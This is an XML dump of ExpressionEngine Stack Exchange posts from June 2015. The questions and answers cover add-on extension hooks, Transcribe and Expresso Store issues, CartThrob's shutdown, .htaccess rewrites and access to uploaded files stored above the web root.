  <row Id="31793" PostTypeId="2" ParentId="31778" CreationDate="2015-06-04T15:29:17.877" Score="0" Body="&lt;p&gt;To solve this when using an external source for files, use {source_X} in the documentation. I didn't use this in the beginning because I had to no way of founding out how to get he source id number. To find the source id number go back in the external source settings and it is in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have asked Pixel and Tonic to please add a way on the front-end to show the source and file directory id without having to find it in the EE back-end URL or in your database.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2015-06-04T15:29:17.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31794" PostTypeId="2" ParentId="31792" CreationDate="2015-06-04T16:16:58.043" Score="1" Body="&lt;p&gt;This looks to be a bug within FreeMember, as a Transcribed entry is much like any other normal entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try logging the bug over at &lt;a href=&quot;https://github.com/devdemon/freemember/issues&quot; rel=&quot;nofollow&quot;&gt;FreeMembers Issue Queue&lt;/a&gt;, to try and get a 1st aprty response. Otherwise stay posted, I don't have a suitable test set up so I couldn't debug this for you, but there's pleanty of transcribe/freemember users on here...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-04T16:16:58.043" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31795" PostTypeId="2" ParentId="31775" CreationDate="2015-06-04T16:25:29.293" Score="0" Body="&lt;p&gt;May be a long shot, but do you have a &lt;code&gt;.htaccess&lt;/code&gt; file for your site? Does it contain ReWrites (for freindly URL's ect)?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be an errand rewrite rule, designed to pass-through the favicon path but in fact transforming your URL incorrectly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, please supply example links from the switcher (i.e. the output of &lt;code&gt;{link}&lt;/code&gt; so we can inspect this...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-04T16:25:29.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31796" PostTypeId="2" ParentId="31043" CreationDate="2015-06-04T17:18:47.897" Score="0" Body="&lt;p&gt;In version 1.6.1 of transcribe you can now use transcribe=&quot;disable&quot; in your channel entries tag to force the default language for all.&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-06-04T17:18:47.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31797" PostTypeId="1" CreationDate="2015-06-04T17:26:09.857" Score="0" ViewCount="46" Body="&lt;p&gt;I'm using Transcribe v1.6.1 and Expresso Store v2.4.1 (EE v 2.9.2)&#xA;I'm using the empty_cart and update_cart inputs in one of my templates.  These work fine for the default English language but when translated they cause the page to redirect to the English language version.  I noticed that even though I have set my next parameter in {exp:store:checkout} on looking at the html output there is an input named RET which has the English url in it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;de/zur-kasse-gehen&quot; name=&quot;return_url&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;de/zur-kasse-gehen&quot; name=&quot;next_url&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;23&quot; name=&quot;ACT&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;checkout/basket&quot; name=&quot;RET&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;6&quot; name=&quot;site_id&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;2b4ace44ef575d89250020c6306c639ed284ae98&quot; name=&quot;csrf_token&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;CyYLdVppBWNaeQduVw4LbwhiCjAEdlooUiFTPQAqBGUBbFx3BD8BIwM9Xm0GIVMzUXoOZQNrC3hTNA45VXYKJ1UmATsJZAZ5BXMJclQ4XHELOQsyWlMFI1pxB3ZXIwshCGUKMAR2WihSZlMqAG8EZgFrXGAEPAEsA3leIAYhUz9RdA5/A3cLYlN3Dm9VdgpvVWEBCQkuBnsFcgkiVC9cOAs8CyRafAVpWiYHZFc0C2QIawo/BCdad1IhU3QAbQRgAXZcdwQ3AVEDNF5hBidTM1FvDmQDJws2U3cOLFUxCnhVJgF5CSMGcgViCTNUd1whCzgLCFp9BWlafwd2VyMLYggsCmsEJ1oiUmZTdAAqBC8BIVxgBDwBbQMnXnsGI1MuUWUObgNaC3xTNA4nVTUKZlV3AXcJOwYwBXo=&quot; name=&quot;_params&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;secure_return&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to get this to play nicely with Transcribe?&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2016-05-22T13:23:46.300" Title="Manage update_cart and empty_cart in expresso store using transcribe" Tags="|expresso-store|transcribe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31798" PostTypeId="1" AcceptedAnswerId="31799" CreationDate="2015-06-04T20:21:19.947" Score="0" ViewCount="124" Body="&lt;p&gt;Does any one have an example of how to submit data to an outside site from the form submitted on signup using the Solspace User Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my cURL code nailed (calling from another page), but have not been able to send the form data to that CURL script after successful submit.  I need to include this to fire off: require_once(&quot;/base/cleintapps/mysubmit.php&quot;); &amp;lt;- this is where I am sending data through CURL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking it's the user_register_end hook but have not been able to get it working.  No matter how many times I look at and try the EE docs, I don't get how to put a hook together.  I simply want to submit the info, including the custom fields.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-09-27T04:47:28.917" Title="Solspace USER Registration module" Tags="|solspace-user|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31799" PostTypeId="2" ParentId="31798" CreationDate="2015-06-04T20:31:37.737" Score="3" Body="&lt;p&gt;You need to craft an extension for that hook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This guide is pretty thorough... did you make sure to &lt;strong&gt;install&lt;/strong&gt; your extension after you made it? If it's not in the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp_extensions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;table, your extensions method won't get fired on that hook. Could you post your extensions contents (here or on a pastie site like pastebin and share) so we can help you? I will edit my answer once I see what you've done so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some changes you need to make to your extension file. First, you have to give your method a name! And you &lt;strong&gt;need&lt;/strong&gt; to allow it to accept the required parameters from the hook, even if you don't use them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/user/extension_hooks/#user_register_end&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/user/extension_hooks/#user_register_end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function my_submit ($user_ob, $member_id)&#xA;{&#xA;    // add code for the user_register_end hook here.&#xA;    require_once(&quot;/base/cleintapps/mysubmit.php&quot;); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you have to make sure you are telling ExpressionEngine to use that method when the hook is called (notice the 'method'=&gt;'my_submit' part):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function activate_extension()&#xA;{&#xA;    // Setup custom settings in this array.&#xA;    $this-&amp;gt;settings = array();&#xA;&#xA;    $data = array(&#xA;        'class'     =&amp;gt; __CLASS__,&#xA;        'method'    =&amp;gt; 'my_submit',&#xA;        'hook'      =&amp;gt; 'user_register_end',&#xA;        'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;        'version'   =&amp;gt; $this-&amp;gt;version,&#xA;        'enabled'   =&amp;gt; 'y'&#xA;    );&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);         &#xA;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you &lt;strong&gt;need&lt;/strong&gt; to make sure this extension file is called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ext.send_external_data.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and lives in this folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/your_website_html_root/system/expressionengine/third_party/send_external_data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on how the User module handles hook calls, you might need to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $user_ob;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after your require_once call inside of that function. Make sure that you &lt;strong&gt;disable&lt;/strong&gt; this extension, make the changes (specifically the 'method'=&gt;'my_submit' part) to this file, and reinstall it via the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Add-Ons -&amp;gt; Extensions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;menu in your ExpressionEngine control panel. The extension table has a column called method, and if you don't get your method name in that cell ('my_submit' or whatever you choose), ExpressionEngine won't call your function. Let me know how it goes, and feel free to update your code pastie if it still isn't working, and I'll gladly suss it out for you!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-27T04:47:28.917" LastActivityDate="2015-09-27T04:47:28.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31800" PostTypeId="2" ParentId="31798" CreationDate="2015-06-05T03:40:42.740" Score="1" Body="&lt;p&gt;Along with having the naming conventions correct and the files in the right place, mentioned above.&#xA;I see a couple of things that jump out at me.&#xA;1) in the activate extension method,  the value for 'method' is blank. this tells the extension what function to run when the hook fires. It should read something like: 'method' =&gt; 'send_my_data'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;            'class'     =&amp;gt; __CLASS__,&#xA;            'method'    =&amp;gt; '',&#xA;            'hook'      =&amp;gt; 'user_register_end',&#xA;            'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'version'   =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'   =&amp;gt; 'y'&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) There is no name for the function which calls your curl code. See:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function ()&#xA;    {&#xA;        // Add Code for the user_register_end hook here.&#xA;        require_once(&quot;/base/cleintapps/mysubmit.php&quot;); &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function send_my_data()&#xA;    {&#xA;        // Add Code for the user_register_end hook here.&#xA;        require_once(&quot;/base/cleintapps/mysubmit.php&quot;); &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what ever's in here (mysubmit.php) could be written in the method without including it.&#xA;What's it look like?&#xA;not sure what version of EE but &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-06-05T03:40:42.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31801" PostTypeId="1" AcceptedAnswerId="32430" CreationDate="2015-06-05T04:16:44.740" Score="0" ViewCount="175" Body="&lt;p&gt;Edit (7.25.2015):&#xA;CartThrob has been acquired by Vector Media Group!  This question no longer really applies, but it will be left up for archival purposes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So apparently and rather abruptly, CartThrob / MightyBigRobot is calling it quits and they are closing their business.  I do hope nothing catastrophic has happened and it is just a time for change for them.  I also wish them well on their future endeavors.  You can read their official statement at their website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have a CartThrob Pro license and after logging in to the site my purchases and downloads are not appearing.  I have not yet had a chance to download the most recent/final build of CartThrob, and as I transition to a new shopping cart solution I was hoping I would be able to get the most recent files for safekeeping.  If any CT support staff are still active and possibly reading this, is there any chance you could reactivate the purchases and downloads on the site for my account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other CartThrob customers who are having the same issue not seeing their purchases and downloads on the site?&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2015-07-25T02:05:33.483" LastActivityDate="2015-07-25T02:05:33.483" Title="CartThrob Is Calling It Quits... Can't Download Final Build 2.6.1" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31802" PostTypeId="1" CreationDate="2015-06-05T05:38:09.343" Score="0" ViewCount="36" Body="&lt;p&gt;Now i indexed my site for testing purpose inside a sub folder like www.example.com/test but it is not working properly. But when i change the url like www.example.com/test/index.php it is working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;        RewriteEngine On&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2015-06-05T10:16:25.610" Title="When using subfolder site is not indexing properly" Tags="|.htaccess|" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-10T20:41:32.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="31803" PostTypeId="1" AcceptedAnswerId="31806" CreationDate="2015-06-05T07:23:49.157" Score="0" ViewCount="899" Body="&lt;p&gt;I'm working on a site where a user can upload their resume.  I created this folder above root for security.  When the user submits the form, the attached file uploads to the &quot;secure&quot; folder without issue (I can see it).  However, when I go to the Forms module and look at the submissions, clicking on the file gives me an error that &quot;The page you requested was not found.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is normal for files stored above root or if I have a path messed up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-08-11T03:16:08.650" Title="Files Above Root - How to Access?" Tags="|devdemon-forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31804" PostTypeId="1" CreationDate="2015-06-05T07:26:09.300" Score="-3" ViewCount="224" Body="&lt;p&gt;I am new on ExpressionEngine. I want to create a module from scratch can anyone help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be a recruitment module which will first validate the email entered and then send a verification link to that email id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on click of that link the data will be fetched so that the user can update the result.&lt;/p&gt;&#xA;" OwnerUserId="6374" LastEditorUserId="55" LastEditDate="2015-06-10T20:44:36.017" LastActivityDate="2015-06-10T20:44:36.017" Title="How to create modules in ExpressionEngine?" Tags="|module|" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-23T17:03:54.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="31805" PostTypeId="2" ParentId="31804" CreationDate="2015-06-05T08:40:29.890" Score="3" Body="&lt;p&gt;The 1st party guide is everything you need to get the concept of module/extension/add-on/plugin/fieldtype development : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to hook into existing events refer to the list of hooks availabel and create an extension : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks to me like you don't need to do everything yourself as EE has a lot of what you want available. For instance you've described a classic Email sign up with a custom action on acceptance. You could use the registration system, with self verification via email, don't collect, set or otherwise set a passsword, when the user verifys registration hook the relivent event to do what you need, then put the 'signed up' user in a group that doesn't allow classic log in. This way the member system also acts as your information on who signed up, with what email and when, also who signed up but didn't validate...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fill ya boots :D&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-05T08:40:29.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31806" PostTypeId="2" ParentId="31803" CreationDate="2015-06-05T10:09:18.497" Score="1" Body="&lt;p&gt;It seems your web user (whatever user the website executes under) does not have permission to get outside the root directory. This is normal as this way the website (or code executed by the website) can't escape its root (look into open_basedir). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This or the file uploaded does not grant the right permissions when copied from the server temp to the uplaod directory. Can you elaborate on the file and folder permissions (owner and group too) for the directory outsdie of the root? It could be the file is added as root or some other priviledged user, so you can see the files with your root user but the websie user can't...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you can do, that Ive done before to handle this sort of thing (importing SFTP uploads under a different domain but not allowing the website to be able to access the other domain), is to set up a SymLink within the root directory. you can then access that directory as a child of the root directory, as long as the destination dir has permission granted for the web user. This would defeat the object though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming to it, what is your objective? You mention storing uploaded files outside of root for security, however you want the web user to uplaod to this directory, and be able to read this directory (so you can browse the file in the CP). In other words you want the web user to be able to access it but not access it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt; Following sicussion a few more things to try&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking about this, there's a couple of things you can try to drill down the issue : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Try accessing the file using a relative path&#xA;This is simple, pop a text folder in the 'secret' directory and write a simpel PHP script to read and display the text file. If PHP can read and display it then yes the web user can read the secret folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1a. Assuming the web user can access the file, check your path's as it's most likely this is fudged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1b. Assuming the web user can not access the text file, this indicates that in fact there is a security measure in place stopping the user from excaping the root, double check bopen_basedir settings (check vhosts too), also check your web site management software (for instance plesk enforces root directory encapsulisation regardless)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do we allow access for web user when via the EE CP, but deny other requests?&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/2679524/block-direct-access-to-a-file-over-http-but-allow-php-script-access&quot;&gt;https://stackoverflow.com/questions/2679524/block-direct-access-to-a-file-over-http-but-allow-php-script-access&lt;/a&gt;&#xA;Basically, assuming we can get the web user accessing the file, we then drop a /htaccess into the uploads directory that deny's access, becuase the web user execuse script on the server on the local file system it should still be able to reach the files, however a direct (URL based) access will be denied by the .htaccess policy&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In short, the fact that your web user can not access the files indicates there is some security somewhere blocking you, once w work out where this is and defeat it we can then look to guard against direct access. Note you _could_apply this principle inside the root directory, so that htaccess blocks direct/link/URL access to the file but the web user/PHP can reach it.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-06-05T16:28:07.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31808" PostTypeId="2" ParentId="31802" CreationDate="2015-06-05T10:16:25.610" Score="0" Body="&lt;p&gt;Ok this is a very poor quality question, you don't say what you're trying to achive at all, and it doesn't sound like you've searched for your answer at all or you'd have found the manual pages (that cover sub directories) : &lt;a href=&quot;https://www.google.co.uk/search?q=expressionengine+in+a+sub+directory&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;gws_rd=cr&amp;amp;ei=dnVxVZzAGMqI7Abj5IN4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.co.uk/search?q=expressionengine+in+a+sub+directory&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;gws_rd=cr&amp;amp;ei=dnVxVZzAGMqI7Abj5IN4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, it sounds like your trying to get frienly URL's working in a sub-directory from the htaccess, therefor here's the answer (without explanation) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ test/index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, url's like www.mysite.com are re-written to www.mysite.com/test/index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need to set your base URL to www.mysite.com of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly you mention indexing in your title, I'm assuming you mean you can't access index.php? &lt;a href=&quot;http://en.wikipedia.org/wiki/Web_indexing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Indexing&lt;/a&gt; is a very different activity that search engines and crawlers (non exclusively) use ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12511/remove-index-php-and-subdirectory-in-url-string&quot;&gt;Remove index.php and subdirectory in url string&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-06-05T10:16:25.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31809" PostTypeId="2" ParentId="31801" CreationDate="2015-06-05T10:26:51.100" Score="1" Body="&lt;p&gt;I appriciate your gander here, and I too hope it's not 'curtains' for BigMightyRobot, but rather bigger better things. However the nature of their leaving (no support, no contact, no refunds, but you can still buy it ) sounds like they are abandoning [insert your own reason why here]...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that after the &lt;a href=&quot;http://cartthrob.com/site/&quot; rel=&quot;nofollow&quot;&gt;link in the statement&lt;/a&gt; this is where your existing purchases are missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would &lt;a href=&quot;http://mightybigrobot.com/contact&quot; rel=&quot;nofollow&quot;&gt;contact BigMightyRobot direct&lt;/a&gt; and be firm. &quot;I paid a premium price for your product, now your going out of business I require a copy of the goods I purchased&quot;. I mean if I purchased in April for development this month I'd be getting robbed, paid for products I can not recieve, thats not the right way to do business!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-05T10:26:51.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31810" PostTypeId="1" CreationDate="2015-06-05T11:16:41.273" Score="0" ViewCount="55" Body="&lt;p&gt;I am using this plugin here to compress images throughout my site: &lt;a href=&quot;https://bitbucket.org/bulldogcreative/tinypng/src&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/bulldogcreative/tinypng/src&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to synchronise a directory of existing images through that plugin. The plugin hooks on to &lt;code&gt;file_after_save&lt;/code&gt;. So it compresses the images when a new image is uploaded, but it doesn't seem to run when EE synchronises and re-saves the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas if I am doing something wrong or if EE just doesn't trigger on that condition?&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2016-06-12T05:26:36.310" Title="file_after_save Hook - Does it run when Synchronising a directory of files?" Tags="|file-uploads|file-manager|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31811" PostTypeId="2" ParentId="31775" CreationDate="2015-06-05T11:18:12.793" Score="1" Body="&lt;p&gt;After some advice from Tom at Transcribe I managed to fix this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got around this by adding {exp:transcribe:no_match segment=&quot;favicon.ico&quot;} to the head section of my template so it is available on all pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to have stopped 'favicon.ico' being added to the url.&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2015-06-05T11:18:12.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31812" PostTypeId="1" CreationDate="2015-06-05T11:27:06.330" Score="0" ViewCount="160" Body="&lt;p&gt;I have a &lt;code&gt;sidebar/latest-news&lt;/code&gt; template in &lt;code&gt;siteA&lt;/code&gt; containing a few &lt;code&gt;{comment_url_title_auto_path}&lt;/code&gt; links, resulting in URLs such as &lt;code&gt;siteA.com/news/article/[url_title_here]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I embed it from a template in &lt;code&gt;siteB&lt;/code&gt; like this: &lt;code&gt;{embed=&quot;siteA:sidebar/latest-news&quot;}&lt;/code&gt;. When I do so, the URLs that are generated by that template are &lt;code&gt;siteB.org/news/article/[url_title_here]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get it to link to the proper URL over on &lt;code&gt;siteA&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EDIT: Just realized the core of this issue is the fact that the&#xA;  Comment Page URL setting in the channel prefs is&#xA;  &lt;code&gt;{site_url}/news/article&lt;/code&gt;, and that apparently the &lt;code&gt;{site_url}&lt;/code&gt; var&#xA;  gets parsed by the parent template's site, not by that channel's site (Edit 2: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20993&quot; rel=&quot;nofollow&quot;&gt;reported this as a bug&lt;/a&gt;).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The site in question has multiple country-code subfolders with&#xA;  &lt;code&gt;index.php&lt;/code&gt; files in them, each one setting custom global vars&#xA;  according to the country. So, going to &lt;code&gt;siteA.com/us/news/&lt;/code&gt; will set a&#xA;  global var of &lt;code&gt;{gv_current_country}&lt;/code&gt; to &quot;us&quot; and a&#xA;  &lt;code&gt;{gv_current_country_category}&lt;/code&gt; var to something like &quot;123&quot; - whatever&#xA;  the ID is of the &quot;USA&quot; category to which entries are assigned.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Therefore, using something like &lt;code&gt;/news/articles/&lt;/code&gt; in the channel's &quot;Comment Page URL&quot; setting won't work, since it would be tossing the geolocated visitors out of their &lt;code&gt;siteA.com/[country_code]/&lt;/code&gt; subfolders each time they clicked a link.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="544" LastEditorUserId="544" LastEditDate="2015-06-08T13:58:07.667" LastActivityDate="2015-12-07T11:34:09.597" Title="Why does {comment_url_title_auto_path} not honor URLs across MSM sites?" Tags="|multi-site-manager|path|entrylinks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
